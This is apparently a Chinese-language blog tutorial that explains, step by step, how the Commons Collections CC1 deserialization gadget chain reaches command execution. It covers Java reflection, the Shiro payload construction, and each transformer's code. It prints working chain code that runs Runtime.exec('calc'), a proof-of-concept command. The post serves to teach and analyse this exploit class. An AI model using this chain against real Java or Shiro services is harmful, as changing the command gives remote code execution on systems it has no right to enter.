CC1 链深度拆解:反序列化利用链是如何一步步执行的
原创 Qiufen 2026-09-01 17:52 山西

反序列化利用链的核心不是在于"执行恶意代码",而在于通过字节流提前写入恶意参数占位。
通过反射机制可以调用加载到jvm里面的类的私有函数
反射机制调用 ≈ new xxx(),然后再 invoke 调用具体函数
下面是三种反射机制的代码 demo
Hello.java
public class Hello {
// 私有变量
private String name = "私有字段";
// 无参构造函数
public Hello() {}
// 有参构造函数
public Hello(String name) {
this.name = name;
}
// 普通函数
public void sayHello() {
System.out.println(
"Hello, " + name + "!");
}
// 私有函数
private void secret(){
System.out.println("私有方法");
}
}
ReflectMain.java
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectMain {
public static void main(String[] args)
throws Exception {
// 1. 获取 Class 对象
// (三种方式都列出来,用任意一种)
// 常用:全类名字符串
Class<?> clazz = Class.forName("Hello");
// 编译期已知
// Class<Hello> clazz = Hello.class;
// 已有对象
// Class<?> clazz = new Hello().getClass();
// 2. 创建对象:先拿构造器再 newInstance()
// 无参构造
Constructor<?> cons =
clazz.getDeclaredConstructor(String.class);
// 等价 new Hello("Reflect")
Object obj = cons.newInstance("Reflect");
// 3. 调用 public 方法
Method say =
clazz.getDeclaredMethod("sayHello");
// obj.sayHello()
say.invoke(obj);
// 4. 访问私有字段
Field field = clazz.getDeclaredField("name");
// 打破封装
field.setAccessible(true);
field.set(obj, "Java");
// 再次调用,看到值已变
say.invoke(obj);
// 5. 调用私有方法
Method secret =
clazz.getDeclaredMethod("secret");
secret.setAccessible(true);
// 调用 private secret()
secret.invoke(obj);
}
}
Shiro Payload 分析
payload 加密编码后进入到程序最终还是会还原成当前代码,直接分析即可
Payload.java
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer transformerChain =
new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(
innerMap, null, transformerChain);
Class<?> clazz = Class.forName(
"sun.reflect.annotation."
+ "AnnotationInvocationHandler");
Constructor<?> ctor =
clazz.getDeclaredConstructor(
Class.class, Map.class);
ctor.setAccessible(true);
Object payload =
ctor.newInstance(Target.class, outerMap);
分三个步骤:
1、编写若干个转换器组成数组 transformers
2、将这些转换器组成的数组 transformers 打包成一条链路 transformerChain,ChainedTransformer() 的作用就是将多个小转换器串成一条链路,前一个转换器的输出是下一个转换器的输入,最终返回最后一个转换器的结果
3、通过反射机制拿到 sun.reflect.annotation.AnnotationInvocationHandler 并传入参数 outerMap
重点:java 反序列化时,payload 的各个参数、字段值会以字节流形式还原成对象的字段值,所以在反序列化后恢复对象,此时各个点位的参数、字段都是你写入的恶意参数和字段(例如上面的转换器数组链路 transformerChain,Map 等这些),payload代码本身是不执行的,即使你自己写恶意函数,恶意类也不会进入到 jvm 中,jvm 只有程序运行时就已经加载的 class,所以我们只能利用 jvm 中已存在的 class,然后相当于以字节流形式写入恶意参数、字段提前占位,从而在反序列化完成后,程序去处理的对象就变成我们写入的恶意参数和值了
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
参数详细介绍
map 类型:Map
被装饰的原始 Map(就是真正的数据容器,TransformedMap 只是一个代理壳)。 以后所有读写最终都会落到这个 map 上。
keyTransformer 类型:Transformer
键转换器。每当调用 put(k,v) 或 putAll 时,先把 k 交给这个 transformer,用返回的新 key 真正落表。 传 null 表示"不转换键"。
valueTransformer 类型:Transformer
值转换器。同样,put 时先把 v 交给它,用返回的新 value 真正落表;get 时也会把查到的值先过一遍它再返回。 传 null 表示"不转换值"。
触发点:
1、反序列化完成后 readObject() 会遍历 memberValues,因为我们通过二进制提前将恶意参数写入了字节流,所以此时的 memberValues 值就是 outerMap
2、然后遍历我们传入的 outerMap = TransformedMap.decorate(innerMap, null, transformerChain) ,因为 org.apache.commons.collections.map.TransformedMap 的特性——不管是 put 还是 get 都会把查到的值先过一遍它再返回(详细看上面表格介绍),这里的"过一遍"就是 Transformer.transform(value) ,然后每个值都 new xxx 格式,由此就触发了运行
3、第一个运行的转换器 new ConstantTransformer(Runtime.class),得到:Runtime.class,代码如下:
ConstantTransformer.java
public class ConstantTransformer
implements Transformer {
private final Object iConstant;
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iConstant = Runtime.class
public ConstantTransformer(Object constant) {
iConstant = constant;
}
// 2、构成链路时需要检查每个值的时候,就是
// new ConstantTransformer.transform(xxx),
// 此时传入的值只是一个占位的随机值
// (组装阶段传入),会触发下面函数,
// 从而返回 iConstant = Runtime.class
public Object transform(Object input) {
return iConstant;
}
}
第二个运行的转换器 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),得到:,代码如下:
InvokerTransformer.java
public class InvokerTransformer
implements Transformer {
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iMethodName = getMethod
private final String iMethodName;
// 1、iParamTypes =
// new Class[]{String.class, Class[].class}
private final Class[] iParamTypes;
// 1、iArgs =
// new Object[]{"getRuntime", new Class[0]}
private final Object[] iArgs;
public InvokerTransformer(String methodName,
Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
// 2、构成链路时需要检查每个值的时候,就是
// new InvokerTransformer.transform(
// Runtime.class),此时传入值为第一个的
// 返回值,会触发下面函数
public Object transform(Object input)
throws TransformerException {
try {
// input 已经是 class 对象了,
// 再次 getClass 就变成了
// Class 类的 class 对象,即:Class.class
Class<?> cls = input.getClass();
// iMethodName = getMethod
// iParamTypes =
// new Class[]{String.class, Class[].class}
// 需要找到名为 getMethod 的方法,
// 且需要传入两个参数,
// 第一个位String类型,
// 第二个位Class[] 类型
Method method =
cls.getMethod(iMethodName, iParamTypes);
// invoke 传入参数 Runtime.class 和
// new Object[]{"getRuntime",
// new Class[0]} 并执行方法返回,
// 方法具体内容看下面代码
// 把 new Object[]{"getRuntime",
// new Class[0]} 当成数组实参传进去,
// 反射机制会按元素拆包,
// 于是数组里2个元素分别对应:
// getRuntime、new Class[0]
// 返回 Runtime.getRuntime()
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new TransformerException(e);
}
}
}
第三个运行的转换器 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),都是调用同一个类,代码如下:
InvokerTransformer.java
public class InvokerTransformer
implements Transformer {
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iMethodName = invoke
private final String iMethodName;
// 1、iParamTypes =
// new Class[]{Object.class, Object[].class}
private final Class[] iParamTypes;
// 1、iArgs = new Object[]{null, new Object[0]}
private final Object[] iArgs;
public InvokerTransformer(String methodName,
Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
// 2、构成链路时需要检查每个值的时候,就是
// new InvokerTransformer.transform(),
// 此时传入值为第二个的返回值,会触发下面函数
public Object transform(Object input)
throws TransformerException {
try {
// 获取Runtime.getRuntime()的类对象
Class<?> cls = input.getClass();
// Method 类里找 invoke 方法,
// 然后固定两个参数:Object.class
Method method =
cls.getMethod(iMethodName, iParamTypes);
// 这里执行并返回,
// 返回的内容是 Runtime 的对象
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new TransformerException(e);
}
}
}
第四个运行的转换器 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),都是调用同一个类,代码如下:
InvokerTransformer.java
public class InvokerTransformer
implements Transformer {
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iMethodName = exec
private final String iMethodName;
// 1、iParamTypes = new Class[]{String.class}
private final Class[] iParamTypes;
// 1、iArgs = new Object[]{"calc"}
private final Object[] iArgs;
public InvokerTransformer(String methodName,
Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
// 2、构成链路时需要检查每个值的时候,就是
// new InvokerTransformer.transform(),
// 此时传入值为第三个的返回值,会触发下面函数
public Object transform(Object input)
throws TransformerException {
try {
// 拿 Runtime 对象的类对象
Class<?> cls = input.getClass();
// 找 Runtime 对象的 exec 方法,
// 且规定传参,类型为:String.class
Method method =
cls.getMethod(iMethodName, iParamTypes);
// 执行方法,且传入参数:calc
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new TransformerException(e);
}
}
}
最终就是通过反射机制 Method.invoke 调用并执行方法:Runtime.getRuntime().exec("calc") ---> 弹计算机
总结回顾
整条链路的调用过程可以浓缩为一条线:
readObject() → AnnotationInvocationHandler → TransformedMap → ChainedTransformer → ConstantTransformer → InvokerTransformer(getMethod) → InvokerTransformer(invoke) → InvokerTransformer(exec) → Runtime.getRuntime().exec("calc")
反序列化利用链的核心不是在于"执行恶意代码",而在于通过字节流提前写入恶意参数占位。反序列化完成后,JVM 里已有的合法类处理了这些参数,最后一步步走到命令执行
理解了这个机制,再看其他利用链(CC2-CC7、URLDNS 等),本质上都是在寻找不同的入口类和调用路径
原文链接